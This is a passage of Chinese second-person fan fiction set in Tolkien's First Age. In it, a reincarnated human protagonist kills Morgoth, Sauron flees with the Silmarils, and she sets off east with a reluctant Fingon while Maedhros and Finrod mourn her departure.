你沉默不语的样子在魔苟斯看来就是默认了精灵对你的背叛,魔苟斯越说越得意,他甚至改变了主意,他不想杀死你了,兴许还能说服你反水,这样他还能借助你狠狠背刺那些精灵。 魔苟斯想得很美,殊不知下一秒你的一记飞踢就直接打碎了他的美梦,你先是从腰间抽出另外一把宝剑刺中魔苟斯的左脚。 就算是再强大再冷酷无情的反派脚趾头都是脆弱的,你这招虽然阴了点,但胜在有效,应该说是非常有效才对。 还没等魔苟斯反应过来你就单手撑着立起来的宝剑剑柄一脚踢向魔苟斯,正好扫过他的下巴。 但只是这样还远远不够,你的攻击是连贯的,不给魔苟斯任何反应机会的。 最后一脚更是直接将他头顶的王冠给踢飞了,如果说刚才的魔苟斯情绪还算稳定的话,在你踢飞他的王冠后他就陷入了愤怒状态。 啊?不是吧,这就触发他的暴怒状态了吗?果然他很看重这顶王冠啊。 凡事都要趁热打铁,你说:“你就那么喜欢那顶王冠吗?还是喜欢精灵宝钻?你倒是很喜欢从别人手里抢来的东西,是因为你没能力也无法创造出这样的造物吗?真可悲啊。” 如果打架的时候不说一些嘲讽对手的垃圾话那么这场打架将毫无意义,而且再说了,是他先开始这场骂战的,他可是一上来就骂你是老鼠,这你能忍?根本忍不了啊! 只是踢飞魔苟斯的王冠对你来说也不足以泄愤,你这次带来的武器强度都不太够,但没关系,系统给你点亮的金手指在这时候就能发挥作用了,你趁着魔苟斯弯腰要捡起王冠的时候一把攥住他的脚踝,尝试着用自己最大的力量拖拽魔苟斯。 在此之前你都没有探索过自己的力量上限,主要是因为你和精灵打架大多都是点到为止,很少会出现现在这种拼死相搏的情况。 被你攥住脚踝的魔苟斯跌倒在地,他原本差点就能触碰到那顶王冠了,只差一点点,但你硬生生地拖拽着他的脚踝,把他往旁边拖去。 大厅里的打斗动静也终于引来巡逻的半兽人,那些半兽人凑过来一看都傻眼了,他们的首领魔苟斯被你拖拽着。 魔苟斯一看那些个半兽人一动不动,就没好气地大喊一声,“快去叫勾斯魔格!” 听到指令的半兽人这才行动起来,但你可不会给他们去通风报信的机会,原本落在地上的碎刀直接变成飞镖命中一个又一个的半兽人,最后一个半兽人还想跑,但跑出没两步不还是被你用断裂的刀剑刺中脑袋,这一系列动作都发生在短短的半分钟内,你做完这些回过头,对着魔苟斯笑了一下,说:“真是不好意思,你的下属都被我给解决了。” 魔苟斯怒吼道:“就凭你?就凭你也想杀死我!?” 他是不是不知道往往反派在说出这话以后基本上就会输掉啊? 算了,你就不和他多计较了。你笑了一下,那是胜券在握的笑容,“是的,就凭我。” 魔苟斯就和他的名字一样,非常能苟,果然你就说索伦随了他的主人,就连能苟这一点也是,只要你稍微一个不留神魔苟斯就会趁机逃跑。 说起来你还得要感谢索伦,如果不是他的话你肯定现在也不会那么提防魔苟斯逃跑。 被你甩来甩去的魔苟斯就跟一团面团似的,在案板上被你揉成各种形状,你拽着魔苟斯在大厅里转了好几圈,整个大厅都被你毁得差不多了,但你觉得还不够,最后你踩在不成人形的魔苟斯身上。 要是真的是RPG游戏就好了,至少你还能看见他的血条,现在你也不太确定他到底死透了没有,鉴于你是个非常谨慎的人,你可不会让这种补刀不充分反而被偷袭的情况出现,所以你补了很多刀。 那动静已经惊动了整个安格班,勾斯魔格带领手下的炎魔要前来救援,但就在这时精灵军队兵临城下,芬国昐吹响号角,迈兹洛斯用刀剑打开安格班的大门,勾斯魔格顿感不妙,大惊失色地说道:“精灵的军队来了!?” 关键时刻还是索伦站了出来,他对勾斯魔格说:“你先去应对城门口的精灵军队,我去大厅查看米尔寇大人的情况。” 勾斯魔格本来还想说索伦可没有命令他的资格,但是转念一想,都现在这个局势了,要是他们内部再起冲突,那岂不是自乱阵脚?于是勾斯魔格闷声闷气地说:“我知道了!”旋即又带着炎魔朝着大门口赶去。 在勾斯魔格应对城门外的精灵军队时索伦也来到大厅入口,这个大厅因为刚才的打斗都要摇摇欲坠,索伦最先查看的是米尔寇的情况,老实说他不太相信一个人类能够杀死堕落的维拉,两者之间存在太大的实力差距,这样的差距不是偷袭就能够弥补的。 可是当索伦看见倒地不起的米尔寇时,他还是不由自主地陷入到震惊中,紧接着他的目光又转移到你身上,他对你还有印象,是很深刻的印象,毕竟你曾经差点重伤了他,如今你居然还敢跑到安格班,甚至还真的刺杀了米尔寇。 莫大的荒谬感将索伦包围,紧随其后的是一阵战栗,如果你能够解决的米尔寇的话,那么……他肯定也不敌你。 可在索伦真的要落荒而逃前,他忽然想到了什么,倒不如说是他的眼睛扫到落在旁边被废墟掩藏起来的王冠,镶嵌在上面的精灵宝钻还在熠熠生辉,虽说米尔寇已经死去,但索伦对精灵还有人类的仇恨也没有随之消失,一个可怕的,恶毒的想法在他的脑海里诞生。 他要利用这三颗精灵宝钻将精灵挑拨得分崩离析,这样想着的他径直跑向那堆废墟,在你还在补刀的时候捡起那顶王冠,再悄无声息地离开。 第48章 “这不是很简单的事情么,她抛弃了你。” 等你确认自己补刀足够多魔苟斯应该不会再诈尸以后你才长呼一口气,紧接着环视四周,说来也奇怪,你原本还以为会有魔苟斯的手下来阻止你的呢,结果一切都显得那么顺利,甚至顺利得你都觉得有些不对劲了。 一般来说每当你感觉事情太顺利的时候就意味着已经发生了什么小意外。 你在大厅内转了一圈都没找到精灵宝钻的踪影后就确定宝钻的不翼而飞就是那个小意外。 明明在不久前你在揍魔苟斯的时候眼角的余光还瞥见角落里精灵宝钻的光芒,怎么一转眼的功夫就消失不见了?答案只有一个,那就是有谁趁着你不注意拿走了那三颗宝钻。 能够做出这一举动的绝对不是半兽人,你只花了几秒钟时间就锁定目标,很显而易见,只有索伦这家伙能做到这件事。 如此一来事情就变得简单多了,你当即离开大厅, 原本就摇摇欲坠的大厅在你离开以后没两秒就轰然倒塌,带起一阵烟尘, 这动静也没能让你回头, 因为你现在一门心思搜寻索伦的踪影。 然而事实证明, 索伦的苟和他的上司魔苟斯一比较,那是青出于蓝而胜于蓝的苟,他在拿上那三颗精灵宝钻以后就不带一丝犹豫地离开安格班, 尽管他曾经效忠于魔苟斯, 但他也知道你大概真的能够杀死魔苟斯, 在这种情况下再和你正面对上简直是自寻死路。 所以他会选择另外一个方法,用更加隐秘的方法从内部破坏精灵的联盟,这个想法不是第一次冒出来,之前他就试图用你的感情问题来挑拨费诺里安和芬罗德之间的关系,但是呢?谁能想到他们居然都能接受你的三心二意。 真是不明白你到底给他们灌了什么迷魂汤,竟然能够让他们对你如此死心塌地! 虽说上次的计谋失败了,但索伦也不会就此放弃,他深知精灵之间的关系并没有那么紧密,尤其是多瑞亚斯的灰精灵与诺多精灵之间的关系更是错综复杂,辛葛表面上看似没再提起诺多在天鹅港展开的那场亲族相残,实际上这仍旧是扎在这位精灵王心里的尖刺。 而索伦需要做的就是利用这份隔阂,借此大做文章。 也不知逃跑了多久,索伦逃了许久,他中间都没有停下来,也不敢停下来,唯恐你会追上来,最后当他能够看见环绕在多瑞亚斯周遭的美丽安环带的时候才算是松了一口气,他站在高处眺望多瑞亚斯,这片土地因为辛葛和美丽安的治理而变得富饶。 但很快地,他就会让这片土地蒙上一层阴翳,仇恨会在精灵之间蔓延,想到这里,索伦的唇角微微上扬,露出胸有成竹的笑容。 另外一边的安格班因为你偷袭魔苟斯给精灵制造了机会,他们士气大涨,直接破开城门攻入安格班内部,所到之处所向披靡,无数黑暗生物在刀光剑影间被解决,勾斯魔格指挥炎魔抵挡精灵的攻击,但终究是寡不敌众,外加之魔苟斯的倒下,安格班这方的势力显然变弱许多。 关键时刻勾斯魔格尝试呼唤索伦,却被下属告知索伦已经偷偷离开安格班,气得勾斯魔格大吼一声,“该死的索伦,居然敢欺骗我!” 可是再生气又有什么用呢?最后还不是逃不过被精灵围剿的命运,勾斯魔格逃跑得仓皇狼狈,他的心中对索伦的怨恨却未曾停歇过,甚至日后还会愈演愈烈。 反观精灵这边,率领军队在前面打头阵的迈兹洛斯一看大局已定,他便在安格班里寻找什么,其他精灵以为他在寻找精灵宝钻的下落,毕竟他和他的父亲还有兄弟都是为了这三颗宝钻才来到中土的,而且现在魔苟斯被打败,他要收回属于父亲的那三颗宝钻是再正常不过,情理之中。 可实际上呢,比起精灵宝钻,他更加担心的是你的安危,要是你死去的话…… 不,你不会死去。 迈兹洛斯连忙将这个想法抛到脑外,只是他搜寻了许久都没有找到你的踪影,这使得他内心的不安也被逐渐放大,直到你的身影跃入迈兹洛斯的视野里,他才顾不得太多地朝你奔去,之前所谓的疏离也好,厌恶也好,此刻都烟消云散。 正在郁闷中的你突然之间被什么窜过来的东西抱住,定睛一看,噢,原来是迈兹洛斯啊,这是你的第一反应,而第二反应就是,他不是和你闹掰了吗?怎么还往上凑啊? 被迈兹洛斯抱住的你沉默几秒,旋即说:“你真的是迈兹洛斯吗?” 该不会是被夺舍了吧?又或者是索伦伪装的迈兹洛斯,实则想要偷袭你么? 听到你那么说,迈兹洛斯就忍不住反问道:“你就那么不想见到我么?”还是说你更想要见别的精灵呢? 好吧,这语气,这嗓音,听起来应该是本尊,就是他的表现太反常,你疑惑地问道:“我们之前不是已经嗯……关系变得很差了吗?” 这话都算你说得委婉的了,毕竟当时你和他谈心的时候他那副样子你记忆犹新。 迈兹洛斯自动忽略了你说的这句话,他说:“反正只要你活下来就好……这样就好。”说着说着,他的声音也跟着变轻,就像是在喃喃自语。 不是你说,你总觉得迈兹洛斯的精神状态不太稳定的样子,于是你选择转移话题,换一个他更加在意的话题吧,你说:“我还有个坏消息要告诉你。” 迈兹洛斯没应声,你便伸手拍拍他的肩膀,他说:“又是什么坏消息?”听上去好像稍微正常了一点。 “噢,就是,精灵宝钻好像被索伦给带走了,不过他的实力没有魔苟斯那么强大,你们精灵对付他应该问题不大。”你说,毕竟夺回精灵宝钻也不在你的任务范围内,你当初答应的就只是偷袭魔苟斯而已,现在魔苟斯都被你解决了,这就已经算是超额完成任务了,至于精灵宝钻的事情,那就让他们精灵自己解决吧,你还是别插手了。 你的话音落下,迈兹洛斯的反应比你想的还要平淡,他只是浅浅地“嗯”了一声,然后就没有然后了,他表现得太平静以至于你都不禁问道:“我听说你们会因为与精灵宝钻有关的誓言受到折磨,你就不着急吗?” 迈兹洛斯说:“还好吧。” 行吧,既然他身为当事者都不着急了,那你也没必要替他操心,于是你说:“好吧,那你现在能够松手了吗?”话语间他还在紧紧地拥抱着你,看这架势是没打算撒手了,虽然他的拥抱还没有到窒息的地步,但还是会让你感觉到束缚,而且你都看见有一小支精灵小队往这边走来了。 你都能想象出要是那些精灵看见迈兹洛斯依依不舍地拥抱着你会是什么表情了。 肯定是惊讶中带着好奇的表情,毕竟你上次离开希姆凛的时候和迈兹洛斯闹得很不愉快,而精灵内部的消息传得又很快,所以估计现在许多精灵都觉得你和迈兹洛斯的关系是那么扑朔迷离。 好在迈兹洛斯最后还是松开手,退后半步,稍微拉开一点你们之间的距离,你这才发现他的脸颊上沾着些星星点点的血迹,样子稍显狼狈,不过嘛,你也没有好到哪里去,你刚才揍魔苟斯的时候也揍得发狠了,忘情了,头发都是乱糟糟的。 你们对视一眼,彼此从对方眼里看到了狼狈的自己,然后你先笑了起来,迈兹洛斯似乎是被你的笑容感染,唇角也跟着微微上扬,露出一个浅淡的笑容。 就在这时那支精灵小队也出现在你们的不远处。 为首的精灵对着你们点点头,又朝着另外一边走去,他们还需要解决残余的半兽人,免得这些黑暗生物再危害贝烈瑞安德大陆。 在战争结束以后必然还伴随着一场庆功宴,因为这场战争直接把安格班给一窝端了,所以这次的庆功宴肯定不止一晚,按照你对精灵的了解程度,他们至少庆祝个三天三夜才够。 比起参加庆功宴,你最想做的事情还是好好泡个澡,你身上都是脏兮兮的,可不能以这种形象参加庆功宴。 精灵的办事效率很高,他们很快就在安格班附近搭建起一个临时营地,你在营地里也有一个专属帐篷,帐篷的面积很大,还有专门配备的浴室,你在浴室里泡了好一会的澡,感觉自己整个人都放松下来了。 也不知道时间过去了多久,反正也不用那么赶时间,你显得格外慢悠悠懒洋洋的,优哉游哉地从浴室里出来,再换上一套干净的衣服,头发虽然已经擦得半干,但发梢还在滴滴答答地滴水,但你也没管那么多,因为你现在有点饿了,填饱肚子要紧。 才走出帐篷你就闻到空气中飘着的食物香味,应该是烤肉还有其他水果甜品的香味,本来只是稍微有点饿的你被这香味一勾,那饥饿感就翻倍了,你循着帐篷外的灯火走去。 灯火最亮的地方就是宴会中心了,已经有精灵在宴会中心弹琴唱歌,歌声在空气中流淌着,带出轻松愉快的氛围。 “你怎么才来?宴会都已经开始一会了。”伊缀尔兴冲冲地朝你跑来,她估计已经跳过一支舞了,身周都洋溢着浓郁的喜悦,她主动牵起你的手,拉着你朝宴会中心走去。 你说:“我现在有点饿,还是等我先吃点东西再去跳舞吧。 ” 伊缀尔说:“我早就知道你很可能是肚子饿了,所以本来也没打算带你去跳舞的,你要喝点什么吗?果汁还是葡萄酒?哦,又或者是茶水?” 你说茶水就好,伊缀尔又开始介绍茶水的种类,听到后面你就问:“这些茶水是你准备的吗?” “不完全是,很大一部分是我的父亲准备的。”说着,伊缀尔看向她的父亲图尔贡,“他除了酒还喜欢喝茶,所以对茶叶很有研究。” 图尔贡似乎也听见了你和伊缀尔的对话,还朝你和伊缀尔点点头,在你和伊缀尔谈话间肉串热气腾腾地出炉,几串肉串下肚你才觉得自己没那么饿了,甚至还感觉到有些腻味,这时候茶水就起到了解腻的作用,你端着茶杯喝了几口,顺便吃了一把浆果,感觉清爽了许多。 伊缀尔还在给你推荐别的甜品,她的热情你都有些招架不住了,你说:“这些甜品太多了,我一口气也吃不了那么多啊。” 伊缀尔这才作罢,但看她那副欲言又止的样子你就又问:“你是还有别的什么话想要对我说的吗?” 被你这么一问,伊缀尔斟酌用词,思虑再三才开口,“这个……我听说你喜欢芬巩。” 从关系上来说,芬巩是她父亲的哥哥,也就是他的伯父,所以她问这话倒也在情理之中,你非常大方地承认,“是啊,喜欢。” 坦率到伊缀尔都被惊讶了一下,但她很快又反应过来,说:“但是,费诺里安那边又该怎么办啊?” 伊缀尔显然是站在你这边的,她担心的居然不是她的伯父芬巩被你强取豪夺了,想到这里你就反问她:“你怎么就不担心你的伯父实际上并不喜欢我呢?” “什么?”伊缀尔的脸上满是疑惑,像是不太明白你为什么会这么说,“在我看来苏尔你那么勇敢友善,而且富有才能,或许你对自己的魅力没有清晰的认知,但我觉得你是非常吸引精灵的人类。” 你亲眼看见伊缀尔的胳膊肘往外拐,还好芬巩没听见她说的这一番话,但她这话确实很中听,你说:“谢谢你对我的极高评价,我都不知道原来你是这么看待我的。” “不光是我,其他很多精灵也是这么想的,所以——”伊缀尔的话说到一半就被突然出现的芬巩打断,他叫了一声伊缀尔的名字,后者连忙打住。 所以什么呢?你还在等待伊缀尔的后半句话呢。 伊缀尔也对着芬巩点点头,叫了他一声伯父。 “我有些话要对苏尔说,可以请你回避一下吗?”芬巩对伊缀尔说。 伊缀尔在走之前先看看伯父芬巩,又看看你,最后才转头离开。 “希望刚才伊缀尔说的话没有冒犯到你。”芬巩一上来就先说了这一句。 冒犯吗?你倒没觉得有什么冒犯的,顶多就是觉得伊缀尔很为她的伯父操心而已,你说:“没有。” 你放下茶杯,芬巩虽然不久前才经历了一场战争,但他还是盛装出席这次的庆功宴,这也是他们精灵对宴会的尊重,和他稍微比较一下就能看出你的穿着简单许多,你平常穿衣风格就是分外简约的那种。 “那么你想要对我说些什么呢?”一看芬巩不说话就光盯着你看,你就知道这场对话都得要你像挤牙膏一样,你问一句,他回答一句。 行吧,反正你都已经习惯了,你来主导对话那就你来吧。 “你是想要问之后我的安排吗?”你问道。 “是的。” 天啊,他的回答可真是惜字如金啊,你扯了扯嘴角,说:“等庆功宴结束以后你就和我一块走吧,正好我缺一个共同游历的搭档。” 芬巩答应下来,也不问你是去哪里游历,以及游历的内容是什么,你还想说他怎么那么逆来顺受,结果一看他的表情才发现他这哪里是逆来顺受,他这显然就是想着赶紧回报你。 本来你只是想要象征性地强取豪夺一下的,这下子好了,你可就要当真了。 你说:“你很讨厌和我待在一块吗?” 芬巩不假思索地摇摇头,“没有。”他只是觉得自己这样做像是在践踏他和迈兹洛斯的友谊。 “可你都不愿意正眼看我,难道这还不算讨厌么?”芬巩肯定是低估了人类得寸进尺的能力,但凡他稍微退让一点你就会向前一步,如此循环往复,一直持续到他退无可退。 闻言,芬巩抬起头,像是在证明自己真的没有那么讨厌你,他主动去寻找你的眼眸,与你四目相对,目光触及到你眼底的笑意时他便觉得不自在,不知道从什么时候开始他和你的相处就变成了折磨。 他又该怎么回应你的感情呢?仿佛无论怎么做都不对,无论怎么做都是古怪的。 他在你面前表现得无所适从,他忍不住问道:“为什么是我呢?” 为什么你会选中他呢?难道他对你来说有着什么特别的地方吗?可他明明记得自己与你初次见面的时候你的反应非常平淡,可现在态度又发生两极反转,芬巩看不穿你,也猜不透你的想法,你究竟想要从他身上得到什么东西呢? 你说:“感情这种东西本身就是捉摸不透的。” 这句话简直就是万金油句式,什么问题都能用这个句式回答,不然你总不可能说是自己需要刷他的好感度吧?估计他们也无法理解这个概念,你尽可能地和他解释一下,“如果硬要说一个原因的话,那就是我想要你的真心。” 这句话说出口你忽然之间就想起之前曾经有精灵问过你“你究竟还要多少精灵的真心呢?”,好吧,说这话的精灵就是玛格洛尔,当初你敷衍地回答他的问题,就和你现在一样敷衍。 芬巩说:“我无法做到。” 在芬巩的注视下,你的唇角上扬,笑得眉眼弯弯,你说:“这可由不得你。” 芬巩的表情一下子变得微妙而错愕,你这才算是体会到了强取豪夺的乐趣,之前也没人告诉过你原来强取豪夺这么好玩啊,你这才算是有点玩恋爱游戏的感觉了。 “什么?”芬巩还以为自己听错了。 “我说,这可由不得你。”你很贴心地又重复一遍,“就算你不愿意,你的真心日后也会给我的。” 反正你有的是的力气和手段。 “我印象里的你不是这样的。”说着,芬巩就开始回忆过往,记忆中的你和他相处的时候进退有度,根本不会说出这种话来。 “那你现在算是真的了解我了,这也是一件好事。” 自此以后芬巩陷入长久的沉默。 你觉得他可能得要一点时间才能缓过来于是就暂时走到另外一边去享用甜品。 就在你们这边还在进行庆功宴的时候关于这场战争的消息已经传到了纳国斯隆德,同时也传到了芬罗德的耳朵里,他一听说你居然冒着风险去偷袭魔苟斯,虽说结果是好的,但他还是担心不已,当即决定北上去见你,至于纳国斯隆德的事情就暂时交给他的弟弟安格罗德。 “剩下的工作就麻烦你了。”芬罗德对安格罗德说,旋即一个翻身坐在马背上,安格罗德也没多说什么,因为他的哥哥是肉眼可见的担忧,就说:“你放心吧,我会好好完成这些工作的。” 该交代的事情都已经交代完了,芬罗德没有任何犹豫地骑马离开纳国斯隆德,不多时他的身影就消失在葱葱郁郁的森林后,安格罗德收回目光,不知道为什么,他总有种不太好的预感,是关于他的哥哥北上这件事的。 倒也不是会有生命危险,而是……芬罗德很可能会失望而归。 事实证明安格罗德的预感是非常准确的,从南方前往北方,哪怕中间芬罗德都没怎么停下来休息过,但等他抵达北方的时候得到的消息就是你已经离开了。 “什么叫做她已经离开了?”芬罗德问道。 被他拉住询问的精灵也是第一次看见芬罗德那么失态的样子,就说:“她……她和芬巩大人离开了。” 你和芬巩?在芬罗德的印象里两个完全不会联系到一块的人类和精灵却一同离开了,在他不在你身边的时候到底发生了什么? 就在芬罗德一头雾水的时候迈兹洛斯出现了,芬罗德猜测对方肯定知道些什么,就问:“她为什么会离开?” “这不是很简单的事情么,她抛弃了你。”同时也抛弃了他。 第49章 “你刚才在偷看我不是吗?”你问道。 迈兹洛斯说的话言简意赅,却也极具冲击力,让芬罗德一时之间不知道该说些什么,他本能地怀疑对方是在欺骗自己,于是说:“你在说谎。” 可迈兹洛斯却表现得很平静,是接近于心如死灰的平静,这不由地让芬罗德开始思考他刚才说的话的真实性,又过了几秒,他再次发问:“你说的是真的么?” “如果你觉得太痛苦那大可以当成我在说谎。” 听到这里芬罗德可以确定他说的是真话,他也没有刚才那么冲动,只见他深呼吸一口气,调整自己的心情,然后问道:“事情到底是怎样的……请你告诉我事情的来龙去脉。” 迈兹洛斯倒也还算有耐心地将事情娓娓道来,说你移情别恋,说你将偷袭魔苟斯作为交换条件,以此来换取芬巩。 芬罗德有些不明白,他打断迈兹洛斯的话,“什么叫做以此来换取芬巩?” “就是字面意思,现在芬巩和她一块离开了这里,谁也不知道她会带着他去哪里。”时间果然能够抚平一切,迈兹洛斯还以为自己在提及这件事的时候会伤心的,但实际上现在他的心里除了淡淡的酸涩感外已经没有别的感觉了。 好吧,可能还有一点对你的怨气。 芬罗德皱眉, 奇怪地问道:“你就没有阻止她吗?” “阻止她?我以为你已经足够了解她了, 你应该知道的,但凡是她做的决定, 没有谁能够改变。”哪怕是他也无法改变。 芬罗德没有再追问, 因为他从迈兹洛斯身上感受到了浓重的失落还有哀伤, 是的,眼前的精灵也在为你的离开感到悲伤。 所以现在要去找你么?找不找得到是一回事,这样冒然去寻找你极有可能换来你的反感,因此芬罗德陷入了摇摆不定的纠结境地,而迈兹洛斯似乎看出了他的犹豫不决,便开口,“就算你真的找到了她,那你又能和她说些什么呢?你想要挽留她?那么不如让我告诉你吧,告诉你那个残酷的真相,那就是你对她来说并没有那么重要。” 这确实是残酷的真相。 芬罗德和迈兹洛斯之间的对话引来其他精灵的关注,毕竟迈兹洛斯也没有避开其他精灵,并且他说话的嗓音也是正常音量,因此来来往往的精灵也都听清了他们的对话内容。 有的精灵还跑去通风报信,消息传到了玛格洛尔耳朵里就变成另外一副画面。 “什么——?你说迈兹洛斯和芬罗德要决斗?”玛格洛尔大为惊讶,唰地一下站起身,旋即大步流星地朝着帐篷外走去,他之前就听说过迈兹洛斯在纳国斯隆德的时候就和芬罗德打过一架,怎么历史又要重演了? 这样想着的玛格洛尔步履匆匆地赶往现场,他先是看见了兄长迈兹洛斯的背影,然后又是芬罗德,但他们似乎没有要决斗的意思,只是两者之间的气氛有些剑拔弩张而已,可远没有到动手的地步。 听见急匆匆的脚步声,迈兹洛斯回过头一看,发现来的是弟弟玛格洛尔,又看见他脸上的焦急神色,就奇怪地问道:“怎么了,为什么露出一副慌张的样子?” 玛格洛尔顿了顿,心说那个传话的精灵估计是夸大其词了,但未免也太夸张了吧?不过还好他们没有真的打起来,要不然事情就会变得很麻烦。 “没什么,我只是听说芬罗德来了这里,就想着来迎接他而已。” 这句话挑不出什么错来,迈兹洛斯说:“我已经迎接了他。” 在玛格洛尔来了以后芬罗德也收起刚才的冷峻神情,变回原来那个性格温和的精灵,他说:“是的,你的哥哥已经好好地招待了我。” 这明显是话里有话。 可在场的精灵没有一个戳破这一点。 玛格洛尔说:“你一路从纳国斯隆德来这里,肯定难免有些疲惫,这样吧,先坐下喝杯茶休息一会如何?”他那么说最主要也是为了缓和气氛,免得自己的兄长和对方再起冲突。 芬罗德笑得眉眼弯弯,说:“那真是太麻烦你了。” “不麻烦。” 玛格洛尔当即就领着芬罗德去附近的帐篷,亲自为他泡茶,在他泡茶的间隙芬罗德宽慰道:“我和你的兄长之间虽然存在矛盾,但还不至于真的大动干戈,这一点你大可以放心。” 他真的可以放心吗?也不知道上次打得两败俱伤的那两个精灵到底是谁,玛格洛尔暗暗地在心里想着。 烧开后放到温热的山泉水将蜷缩的茶叶泡开,茶叶一点点地舒展开来,玛格洛尔说:“我知道。” “那你知道苏尔她会去哪里吗?”芬罗德旋即抛出一个非常难以回答的问题。 这个他就真的不清楚了,他都要怀疑芬罗德是不是在刻意为难自己了,他说:“这个……我也不知道。” 听他说这话的意思是要去找你吗? 但你现在已经有了新欢,恕他直言,你的注意力估计一时半会是没办法从芬巩身上移开了。 事实证明玛格洛尔的猜测没错,你确实一门心思扑在芬巩身上,但主要还是因为他那副倔强的模样激起了你的逆反心理而已,你和芬巩在离开精灵在北方搭建的临时营地后就朝着东方出发。 你还没有去过这片大陆的最东面,芬巩也是,在他确定自己的领地以后就大部分时间都待在自己的领地里,你发现他似乎比你还宅,你就说,这样正好带他一块去探索新地图。 芬巩觉得这个说法有些意思,就说:“我们确实可以把最东面的地形以地图形式记录下来。” 不是,你在和他搞暧昧结果他心里想的都是搞地质勘察。 真的油盐不进是吧? 你忍不住笑了一下,是充满无奈的笑容,你说:“你的脑袋里除了画地图还有别的什么东西吗?” 芬巩开始反思自己是说错了什么吗? “嗯……你在生气?”芬巩问道。 “是啊,这都被你发现了啊。”你故作惊讶,芬巩说:“那你希望我怎么回答?”芬巩还是不太适应现在和你的相处模式,尤其是当你靠近的时候他会不自然的身体变得僵硬,跟个木头一样。 从某种程度上来说,他确实就跟个木头一样。 你说:“没什么,反正我们日后相处的时间还很长。” 这话在芬巩听来就变了一层意思,带着淡淡的居高临下,但真要说他有多讨厌你,那倒是没多少,他只是还不能适应而已。 你将他的无所适从看在眼里,当做某种乐趣。 你们去东面的路途不算太顺利,一来是你低估了去东面会遇到的糟糕天气频率,二来是东面都没什么精灵亦或是人类居住,完完全全的原生态,这个时候你就开始想念那些人类小镇还有精灵的城市了。 但你对东面尽头的好奇支撑你继续走下去,在某个傍晚时分天空中淅淅沥沥下起小雨,你和芬巩找了个山洞暂时避雨。 芬巩朝你递来一条手帕,但你和他的头发都在滴滴答答地滴水,你不免觉得有些好笑,你没有直接拿过手帕,而是直接握住他的手,说:“我们两个都湿漉漉的,只用手帕根本没法擦干啊。” 芬巩的手指动了动,没怎么用力,他也没想着抽回手,任由你握住他的手,用已经认命的语气叹息道:“那你到底想要做什么?” 他那是什么语气?视死如归吗?你好笑地拍了下他的手背,说:“我只是说生火比较方便,你在紧张什么,还是说你在害怕?” 说这话的时候你微微眯起眼睛,山洞外大雨滂沱,雨珠由点连成线再延展成面,构筑出朦胧的雨幕。 芬巩这会想要收回手了,但是晚了,你没松手,论力气他可比不过你,所以理论上来说他无法抽回手,只能用强装镇定的眼神注视着你,他说:“我不害怕。” 你松开手,手指从他的掌心勾走那条手帕,然后低声和他说谢谢。 芬巩垂下眼帘,“不用谢。” 然后就是生火,这对你和芬巩来说都不难,山洞里很快亮起火光,你没用芬巩给的手帕,主要是小小一张手帕根本不顶用,还不如你直接把头发给挤干,然后围着火堆烘干头发呢。 在你这么做的时候芬巩似乎在透过火光看你,你也不是很确定,因为他平常也会偶尔发呆,于是为了确认他是不是在看你,你便看了回去,发现他的眼睛眨了一下,就像是偷看被抓包那样局促。 然后你就笑了,他说:“你笑什么?” “你刚才在偷看我不是吗?”你问道。 芬巩没有否认,他向来诚实,倒不如说是他的性格正直,也正因为此才会对于朋友的恋人移情别恋自己这件事无所适从,甚至发自内心觉得这很可能就是自己的错。 是的,他甚至没有要怪罪你的意思,单纯觉得这就是自己的错,你要是能听见他的内心想法估计也会感到惊讶的吧。 第50章 未来的灾厄已经出现在美丽安的脑海里。 被火光烘干的头发蓬松得有些过头,你都觉得有些炸毛了,你向来没有精灵那么擅长打理头发,平常就是一个高马尾的发型走遍天下,可不像精灵那样编各种花里胡哨的小辫子,所以你随手梳理头发的样子在一旁的精灵看来都有些过于潦草了。 “你这样会把头发弄伤的。”芬巩忽然说。 你漫不经心地“啊?”了一声, 这样就会把头发给弄伤吗?直觉告诉你芬巩就是说得太夸张了,你不以为意地继续梳理头发, 但芬巩实在是看不下去了,就主动伸出手,从你的手里接过那一头乌黑的长发。 在作出如此动作的时候他还不忘补上一句,“冒犯了。” 这就算是冒犯了吗?你倒是不这么觉得,你笑着说:“这算哪门子的冒犯?” 可芬巩还是发自内心这么认为,甚至触碰你头发的动作都是轻柔的,小心翼翼的,这让你不由地回过头,好笑地问他,“你这是害怕我突然偷袭你吗?” 芬巩愣了下,过了一秒才意识到你这是在开玩笑,他也跟着笑了一下, “但你不会那么做的。” 你耸耸肩, “那可不好说。” 在你把头转回去以后芬巩的唇角仍然残留着淡淡的笑意,他的手指滑过你的长发,慢条斯理地替你打理头发,你问道:“你以前也是这么给阿瑞蒂尔梳头发的吗?” 说起他的妹妹阿瑞蒂尔,芬巩就说:“这可轮不到我, 她和图尔贡的关系更好, 就算是梳头发她的首选也是图尔贡。” 听上去怎么有点心酸啊,你说:“那还真是可怜呢。” “感情的事情本身就是不能强求的,她更喜欢图尔贡也是没办法的事情。” 听到这里你合理怀疑芬巩这是在暗示你什么,是想要提醒你,你们之间的感情也不能强求吗?你说:“那也不一定,如果不争取一下的话又怎么能知道到底行不行呢?” 也许一开始芬巩并没有你想的那一层意思,但是现在被你这么一提,他也能立即领会你的意思,他说:“……即使一过程是痛苦的吗?” 啊?这怎么能说是痛苦的呢?可能会有精灵感到痛苦,但你绝对没有过痛苦的时刻,倒不如说你在进入这个异世界以来过得都挺爽的,毕竟你都转生了,总不可能还给自己找气受吧? 所以综上所述,你也不管别人,别的精灵是否痛苦,自己开心才是真的开心。 于是你说:“但我不觉得痛苦啊。” 这话让芬巩沉默了很久,因为你说得太坦荡,太理所当然,听上去不像是在说谎。 芬巩说:“是么。” 他将你所有的头发都打理一遍,旋即后退半步,还在和你保持分寸感,你倒是没有那么着急,反正你日后还有很多时间可以刷他的好感度。 外面的雨势还是很大,哗啦啦的雨声变成催眠的白噪音,你蜷缩在睡袋里,芬巩没什么睡意所以负责守夜,你大概能猜到他为什么会睡不着,无非就是觉得自己现在所做的一切都在背叛自己的好友。 他的道德感还是太高了一点,不过话又说回来,他的角色魅力也恰恰在于他的高道德感,要是换成凯勒巩,估计和你私奔以后就会直接忘了自己的兄弟,那叫一个颠鸾倒凤不知天地为何物,咳,说夸张了,但意思差不多就是这个意思吧。 手工制作的睡袋很柔软,内里缝制了一层毛茸茸的兔毛,还带着点清淡的草木香,你伴着这淡淡的香味还有山洞外的雨声不多时就沉沉睡去。 很快地,芬巩的耳边传来你清浅的呼吸声,他的视线也终于得以光明正大地落在你身上,他在安静地注视着你,神情复杂。 走到如今这一步他又该怎么办才好呢? 